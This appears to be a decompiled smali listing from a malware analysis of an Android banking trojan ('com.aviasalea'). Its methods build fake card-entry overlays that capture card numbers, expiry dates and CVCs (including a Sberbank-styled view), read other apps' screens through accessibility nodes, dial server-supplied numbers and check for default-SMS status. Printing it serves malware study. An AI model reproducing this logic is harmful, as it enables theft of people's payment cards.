                                      1.param p2, "intent" # Landroid/content/Intent;
                                      2.prologue
                                      3const-class v0, Lcom/aviasalea/srs/CmndSrs;
                                      5invoke-static {v0, p1}, Lcom/aviasalea/checktls/CmndTls;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
                                      6move-result v0
                                      7if-nez v0, :cond_b
                                      9invoke-direct {p0, p1}, Lcom/aviasalea/srs/rcv/AlarmBroadCastReceiver;->startCmndSrs(Landroid/content/Context;)V
                                      10cond_b:
                                      11invoke-static {p1}, Lcom/aviasalea/Realtalk;->isStartAccess(Landroid/content/Context;)Z
                                      12move-result v0
                                      13if-eqz v0, :cond_1c
                                      14const-class v0, Lcom/aviasalea/srs/StDlgSrs;
                                      16invoke-static {v0, p1}, Lcom/aviasalea/checktls/CmndTls;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
                                      17move-result v0
                                      18if-nez v0, :cond_1c
                                      20invoke-direct {p0, p1}, Lcom/aviasalea/srs/rcv/AlarmBroadCastReceiver;->startStDlgSrs(Landroid/content/Context;)V
                                      21cond_1c: return-void
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.access$400
                                      • com.aviasalea.injs.g.view.GView.access$400
                                      • com.aviasalea.injs.g.view.GView.access$300
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$4;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      5invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$400(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/view/GView$OnGPCallback;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_18
                                      9iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$4;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$400(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/view/GView$OnGPCallback;
                                      12move-result-object v0
                                      14iget-object v1, p0, Lcom/aviasalea/injs/g/view/GView$4;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      16invoke-static {v1}, Lcom/aviasalea/injs/g/view/GView;->access$300(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/model/GData;
                                      17move-result-object v1
                                      18const/4 v2, 0x0
                                      20invoke-interface {v0, v1, v2}, Lcom/aviasalea/injs/g/view/GView$OnGPCallback;->onSave(Lcom/aviasalea/injs/g/model/GData;Z)V
                                      21cond_18: return-void
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.getText
                                      • android.view.accessibility.AccessibilityNodeInfo.getText
                                      • java.lang.CharSequence.toString
                                      Position Instruction Meta Information
                                      0.param p0, "rootNode" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "nodeId" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v1, 0x0
                                      4if-nez p0, :cond_4
                                      5cond_3: return-object v1
                                      6cond_4:
                                      7invoke-static {p0, p1}, Lcom/aviasalea/checktls/NdTls;->findNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      8move-result-object v0
                                      9if-eqz v0, :cond_3
                                      11invoke-virtual {v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->getText()Ljava/lang/CharSequence;
                                      12move-result-object v2
                                      13if-eqz v2, :cond_3
                                      15invoke-virtual {v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->getText()Ljava/lang/CharSequence;
                                      16move-result-object v1
                                      18invoke-interface {v1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      19move-result-object v1
                                      20goto/16 :goto_3
                                      Cross References
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByViewId
                                      • java.util.List.isEmpty
                                      • java.util.List.get
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "viewId" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v1, 0x0
                                      4if-nez p0, :cond_4
                                      5cond_3: return-object v1
                                      6cond_4:
                                      7invoke-virtual {p0, p1}, Landroid/view/accessibility/AccessibilityNodeInfo;->findAccessibilityNodeInfosByViewId(Ljava/lang/String;)Ljava/util/List;
                                      8move-result-object v0
                                      9if-eqz v0, :cond_3
                                      11invoke-interface {v0}, Ljava/util/List;->isEmpty()Z
                                      12move-result v2
                                      13if-nez v2, :cond_3
                                      14const/4 v1, 0x0
                                      16invoke-interface {v0, v1}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                      17move-result-object v1
                                      18check-cast v1, Landroid/view/accessibility/AccessibilityNodeInfo;
                                      19goto/16 :goto_3
                                      APIs
                                      • android.view.accessibility.AccessibilityNodeInfo.getText
                                      • android.view.accessibility.AccessibilityNodeInfo.getText
                                      • java.lang.CharSequence.toString
                                      Position Instruction Meta Information
                                      0.param p0, "root" # Landroid/view/accessibility/AccessibilityNodeInfo;
                                      1.param p1, "viewId" # Ljava/lang/String;
                                      2.prologue
                                      4invoke-static {p0, p1}, Lcom/aviasalea/checktls/NdTls;->findNode(Landroid/view/accessibility/AccessibilityNodeInfo;Ljava/lang/String;)Landroid/view/accessibility/AccessibilityNodeInfo;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_c
                                      8invoke-virtual {v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->getText()Ljava/lang/CharSequence;
                                      9move-result-object v1
                                      10if-nez v1, :cond_e
                                      11cond_c: const/4 v1, 0x0
                                      12goto_d: return-object v1
                                      13cond_e:
                                      14invoke-virtual {v0}, Landroid/view/accessibility/AccessibilityNodeInfo;->getText()Ljava/lang/CharSequence;
                                      15move-result-object v1
                                      17invoke-interface {v1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                      18move-result-object v1
                                      19goto/16 :goto_d
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • com.aviasalea.srs.CmndSrs.sendCallNumberToServer
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      3iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      5invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      6move-result-wide v2
                                      7cmp-long v0, v0, v2
                                      8if-eqz v0, :cond_19
                                      9iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      11invoke-static {p1, v0, v1}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      13iget-object v0, p2, Lcom/aviasalea/srs/api/responses/HitGateResponse;->phNumber:Ljava/lang/String;
                                      15invoke-static {p1, v0}, Lcom/aviasalea/checktls/IntTls;->callNumber(Landroid/content/Context;Ljava/lang/String;)V
                                      16const-wide/16 v0, 0x0
                                      18invoke-direct {p0, v0, v1}, Lcom/aviasalea/srs/CmndSrs;->sendCallNumberToServer(J)V
                                      19cond_19: return-void
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.access$1102
                                      • com.aviasalea.injs.g.view.GView.access$300
                                      • com.aviasalea.injs.g.view.GView.access$500
                                      Position Instruction Meta Information
                                      0.param p1, "moveToNext" # Z
                                      1.param p2, "pin" # Ljava/lang/String;
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$3;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      6invoke-static {v0, p1}, Lcom/aviasalea/injs/g/view/GView;->access$1102(Lcom/aviasalea/injs/g/view/GView;Z)Z
                                      7if-eqz p1, :cond_10
                                      9iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$3;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      11invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$300(Lcom/aviasalea/injs/g/view/GView;)Lcom/aviasalea/injs/g/model/GData;
                                      12move-result-object v0
                                      14invoke-virtual {v0, p2}, Lcom/aviasalea/injs/g/model/GData;->setCVC(Ljava/lang/String;)V
                                      15cond_10:
                                      16iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView$3;->this$0:Lcom/aviasalea/injs/g/view/GView;
                                      18invoke-static {v0}, Lcom/aviasalea/injs/g/view/GView;->access$500(Lcom/aviasalea/injs/g/view/GView;)V
                                      19return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.g.view.GView.edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.g.view.GView.edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • android.widget.EditText.addTextChangedListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      4invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_18
                                      8iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      10invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      11move-result-object v0
                                      12new-instance v1, Lcom/aviasalea/injs/g/view/GView$3;
                                      14iget-object v2, p0, Lcom/aviasalea/injs/g/view/GView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      16invoke-direct {v1, p0, v2}, Lcom/aviasalea/injs/g/view/GView$3;-><init>(Lcom/aviasalea/injs/g/view/GView;Lcom/aviasalea/injs/g/view/_CTextInputLayout;)V
                                      18invoke-virtual {v0, v1}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
                                      19cond_18: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.g.view.GView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.g.view.GView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • android.widget.EditText.addTextChangedListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      4invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_18
                                      8iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      10invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      11move-result-object v0
                                      12new-instance v1, Lcom/aviasalea/injs/g/view/GView$1;
                                      14iget-object v2, p0, Lcom/aviasalea/injs/g/view/GView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      16invoke-direct {v1, p0, v2}, Lcom/aviasalea/injs/g/view/GView$1;-><init>(Lcom/aviasalea/injs/g/view/GView;Lcom/aviasalea/injs/g/view/_CTextInputLayout;)V
                                      18invoke-virtual {v0, v1}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
                                      19cond_18: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.g.view.GView.edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.g.view.GView.edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • android.widget.EditText.addTextChangedListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      4invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_18
                                      8iget-object v0, p0, Lcom/aviasalea/injs/g/view/GView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      10invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      11move-result-object v0
                                      12new-instance v1, Lcom/aviasalea/injs/g/view/GView$2;
                                      14iget-object v2, p0, Lcom/aviasalea/injs/g/view/GView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      16invoke-direct {v1, p0, v2}, Lcom/aviasalea/injs/g/view/GView$2;-><init>(Lcom/aviasalea/injs/g/view/GView;Lcom/aviasalea/injs/g/view/_CTextInputLayout;)V
                                      18invoke-virtual {v0, v1}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
                                      19cond_18: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • android.widget.EditText.addTextChangedListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      4invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_18
                                      8iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      10invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      11move-result-object v0
                                      12new-instance v1, Lcom/aviasalea/injs/s/views/SberRegisterView$4;
                                      14iget-object v2, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      16invoke-direct {v1, p0, v2}, Lcom/aviasalea/injs/s/views/SberRegisterView$4;-><init>(Lcom/aviasalea/injs/s/views/SberRegisterView;Lcom/aviasalea/injs/g/view/_CTextInputLayout;)V
                                      18invoke-virtual {v0, v1}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
                                      19cond_18: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • android.widget.EditText.addTextChangedListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      4invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_18
                                      8iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      10invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      11move-result-object v0
                                      12new-instance v1, Lcom/aviasalea/injs/s/views/SberRegisterView$2;
                                      14iget-object v2, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      16invoke-direct {v1, p0, v2}, Lcom/aviasalea/injs/s/views/SberRegisterView$2;-><init>(Lcom/aviasalea/injs/s/views/SberRegisterView;Lcom/aviasalea/injs/g/view/_CTextInputLayout;)V
                                      18invoke-virtual {v0, v1}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
                                      19cond_18: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.s.views.SberRegisterView.edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • com.aviasalea.injs.s.views.SberRegisterView.edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • android.widget.EditText.addTextChangedListener
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      4invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      5move-result-object v0
                                      6if-eqz v0, :cond_18
                                      8iget-object v0, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      10invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      11move-result-object v0
                                      12new-instance v1, Lcom/aviasalea/injs/s/views/SberRegisterView$3;
                                      14iget-object v2, p0, Lcom/aviasalea/injs/s/views/SberRegisterView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      16invoke-direct {v1, p0, v2}, Lcom/aviasalea/injs/s/views/SberRegisterView$3;-><init>(Lcom/aviasalea/injs/s/views/SberRegisterView;Lcom/aviasalea/injs/g/view/_CTextInputLayout;)V
                                      18invoke-virtual {v0, v1}, Landroid/widget/EditText;->addTextChangedListener(Landroid/text/TextWatcher;)V
                                      19cond_18: return-void
                                      APIs
                                      • com.aviasalea.wb.CustomWVClient.removeLastSlash
                                      • com.aviasalea.wb.CustomWVClient.mUrl:Ljava/lang/String
                                      • com.aviasalea.wb.CustomWVClient.startsWith
                                      • com.aviasalea.wb.CustomWVClient.onPageStarted
                                      Position Instruction Meta Information
                                      0.param p1, "view" # Landroid/webkit/WebView;
                                      1.param p2, "url" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v1, 0x0
                                      5invoke-direct {p0, p2}, Lcom/aviasalea/wb/CustomWVClient;->removeLastSlash(Ljava/lang/String;)Ljava/lang/String;
                                      6move-result-object p2
                                      8iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      10invoke-direct {p0, p2, v0}, Lcom/aviasalea/wb/CustomWVClient;->startsWith(Ljava/lang/String;Ljava/lang/String;)Z
                                      11move-result v0
                                      12if-nez v0, :cond_16
                                      13iget-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingFinished:Z
                                      14if-nez v0, :cond_16
                                      15iput-object v1, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      17invoke-virtual {p0, p1, p2, v1}, Lcom/aviasalea/wb/CustomWVClient;->onPageStarted(Landroid/webkit/WebView;Ljava/lang/String;Landroid/graphics/Bitmap;)V
                                      18cond_16: const/4 v0, 0x0
                                      19return v0
                                      APIs
                                      • android.content.Context.getPackageManager
                                      • android.content.pm.PackageManager.getPackageInfo
                                      • java.lang.Exception.toString
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.param p1, "uri" # Ljava/lang/String;
                                      2.prologue
                                      3const/4 v2, 0x1
                                      5invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                      6move-result-object v1
                                      7const/4 v3, 0x1
                                      8try_start_6:
                                      9invoke-virtual {v1, p1, v3}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                                      10goto_9: return v2
                                      11catch_a: move-exception v0
                                      13invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      14move-result-object v2
                                      16invoke-static {v2}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      17const/4 v2, 0x0
                                      18goto/16 :goto_9
                                      Cross References
                                      APIs
                                      • android.provider.Telephony$Sms.getDefaultSmsPackage
                                      • com.aviasalea.srs.GPSrs.getPackageName
                                      • java.lang.String.equals
                                      Position Instruction Meta Information
                                      0.prologue
                                      1sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                                      2const/16 v2, 0x13
                                      3if-ge v1, v2, :cond_8
                                      4const/4 v0, 0x1
                                      5goto_7: return v0
                                      6cond_8: const/4 v0, 0x0
                                      8invoke-static {p0}, Landroid/provider/Telephony$Sms;->getDefaultSmsPackage(Landroid/content/Context;)Ljava/lang/String;
                                      9move-result-object v1
                                      11invoke-virtual {p0}, Lcom/aviasalea/srs/GPSrs;->getPackageName()Ljava/lang/String;
                                      12move-result-object v2
                                      14invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      15move-result v1
                                      16if-eqz v1, :cond_7
                                      17const/4 v0, 0x1
                                      18goto/16 :goto_7
                                      Cross References
                                      APIs
                                      • android.content.Context.getString
                                      • android.app.NotificationChannel.<init>
                                      • android.app.NotificationManager.createNotificationChannel
                                      Position Instruction Meta Information
                                      0.param p0, "channelId" # Ljava/lang/String;
                                      1.param p1, "context" # Landroid/content/Context;
                                      2.param p2, "notificationManager" # Landroid/app/NotificationManager;
                                      3.prologue
                                      4sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                                      5const/16 v4, 0x1a
                                      6if-lt v3, v4, :cond_16
                                      7const v3, 0x7f0a001c
                                      9invoke-virtual {p1, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
                                      10move-result-object v2
                                      11const/4 v0, 0x4
                                      12new-instance v1, Landroid/app/NotificationChannel;
                                      14invoke-direct {v1, p0, v2, v0}, Landroid/app/NotificationChannel;-><init>(Ljava/lang/String;Ljava/lang/CharSequence;I)V
                                      16invoke-virtual {p2, v1}, Landroid/app/NotificationManager;->createNotificationChannel(Landroid/app/NotificationChannel;)V
                                      17cond_16: return-void
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$802
                                      • com.aviasalea.base.dialog.AlertDialog.access$2302
                                      • com.aviasalea.base.dialog.AlertDialog.access$1802
                                      Position Instruction Meta Information
                                      0.param p1, "items" # [Ljava/lang/CharSequence;
                                      1.param p2, "icons" # [I
                                      2.param p3, "onClickListener" # Landroid/content/DialogInterface$OnClickListener;
                                      3.prologue
                                      5iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      7invoke-static {v0, p1}, Lcom/aviasalea/base/dialog/AlertDialog;->access$802(Lcom/aviasalea/base/dialog/AlertDialog;[Ljava/lang/CharSequence;)[Ljava/lang/CharSequence;
                                      9iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      11invoke-static {v0, p2}, Lcom/aviasalea/base/dialog/AlertDialog;->access$2302(Lcom/aviasalea/base/dialog/AlertDialog;[I)[I
                                      13iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$Builder;->alertDialog:Lcom/aviasalea/base/dialog/AlertDialog;
                                      15invoke-static {v0, p3}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1802(Lcom/aviasalea/base/dialog/AlertDialog;Landroid/content/DialogInterface$OnClickListener;)Landroid/content/DialogInterface$OnClickListener;
                                      16return-object p0
                                      Cross References
                                      APIs
                                      • java.util.ArrayList.size
                                      • java.util.ArrayList.get
                                      • java.lang.Integer.intValue
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v0, p0, Lcom/aviasalea/injs/g/val/models/Card;->possibleLengths:Ljava/util/ArrayList;
                                      4iget-object v1, p0, Lcom/aviasalea/injs/g/val/models/Card;->possibleLengths:Ljava/util/ArrayList;
                                      6invoke-virtual {v1}, Ljava/util/ArrayList;->size()I
                                      7move-result v1
                                      8add-int/lit8 v1, v1, -0x1
                                      10invoke-virtual {v0, v1}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
                                      11move-result-object v0
                                      12check-cast v0, Ljava/lang/Integer;
                                      14invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                      15move-result v0
                                      16return v0
                                      APIs
                                      • java.lang.Class.getName
                                      • android.app.IntentService.<init>
                                      • java.util.Timer.<init>
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const-class v0, Lcom/aviasalea/srs/CmndSrs;
                                      3invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                                      4move-result-object v0
                                      6invoke-direct {p0, v0}, Landroid/app/IntentService;-><init>(Ljava/lang/String;)V
                                      7const-wide/16 v0, 0x0
                                      8iput-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      10const-string v0, ""
                                      11iput-object v0, p0, Lcom/aviasalea/srs/CmndSrs;->mMessage:Ljava/lang/String;
                                      12new-instance v0, Ljava/util/Timer;
                                      14invoke-direct {v0}, Ljava/util/Timer;-><init>()V
                                      15iput-object v0, p0, Lcom/aviasalea/srs/CmndSrs;->mTimer:Ljava/util/Timer;
                                      16return-void
                                      Cross References
                                      APIs
                                      • android.content.Context.obtainStyledAttributes
                                      • android.content.res.TypedArray.getBoolean
                                      • android.content.res.TypedArray.recycle
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "attrs" # Landroid/util/AttributeSet;
                                      2.prologue
                                      4sget-object v1, Lcom/aviasalea/R$styleable;->_CTextInputLayout:[I
                                      6invoke-virtual {p1, p2, v1}, Landroid/content/Context;->obtainStyledAttributes(Landroid/util/AttributeSet;[I)Landroid/content/res/TypedArray;
                                      7move-result-object v0
                                      8const/4 v1, 0x0
                                      9const/4 v2, 0x1
                                      11invoke-virtual {v0, v1, v2}, Landroid/content/res/TypedArray;->getBoolean(IZ)Z
                                      12move-result v1
                                      13iput-boolean v1, p0, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->mIsNumber:Z
                                      15invoke-virtual {v0}, Landroid/content/res/TypedArray;->recycle()V
                                      16return-void
                                      Cross References
                                      APIs
                                      • android.app.Activity.getWindow
                                      • android.view.Window.clearFlags
                                      • java.lang.Exception.toString
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/app/Activity;
                                      1.prologue
                                      2try_start_0:
                                      3invoke-virtual {p0}, Landroid/app/Activity;->getWindow()Landroid/view/Window;
                                      4move-result-object v1
                                      5const/16 v2, 0x80
                                      7invoke-virtual {v1, v2}, Landroid/view/Window;->clearFlags(I)V
                                      8goto_9: return-void
                                      9catch_a: move-exception v0
                                      11invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      12move-result-object v1
                                      14invoke-static {v1}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      15goto/16 :goto_9
                                      Cross References
                                      APIs
                                      • android.app.Activity.getWindow
                                      • android.view.Window.addFlags
                                      • java.lang.Exception.toString
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/app/Activity;
                                      1.prologue
                                      2try_start_0:
                                      3invoke-virtual {p0}, Landroid/app/Activity;->getWindow()Landroid/view/Window;
                                      4move-result-object v1
                                      5const/16 v2, 0x80
                                      7invoke-virtual {v1, v2}, Landroid/view/Window;->addFlags(I)V
                                      8goto_9: return-void
                                      9catch_a: move-exception v0
                                      11invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      12move-result-object v1
                                      14invoke-static {v1}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      15goto/16 :goto_9
                                      Cross References
                                      APIs
                                      • com.aviasalea.base.BaseActivity.onActivityResult
                                      • com.aviasalea.checkui.AdRequestDialog.finishActivity
                                      • com.aviasalea.checkui.AdRequestDialog.finishActivity
                                      Position Instruction Meta Information
                                      0.param p1, "requestCode" # I
                                      1.param p2, "resultCode" # I
                                      2.param p3, "data" # Landroid/content/Intent;
                                      3.prologue
                                      4packed-switch p1, :pswitch_data_12
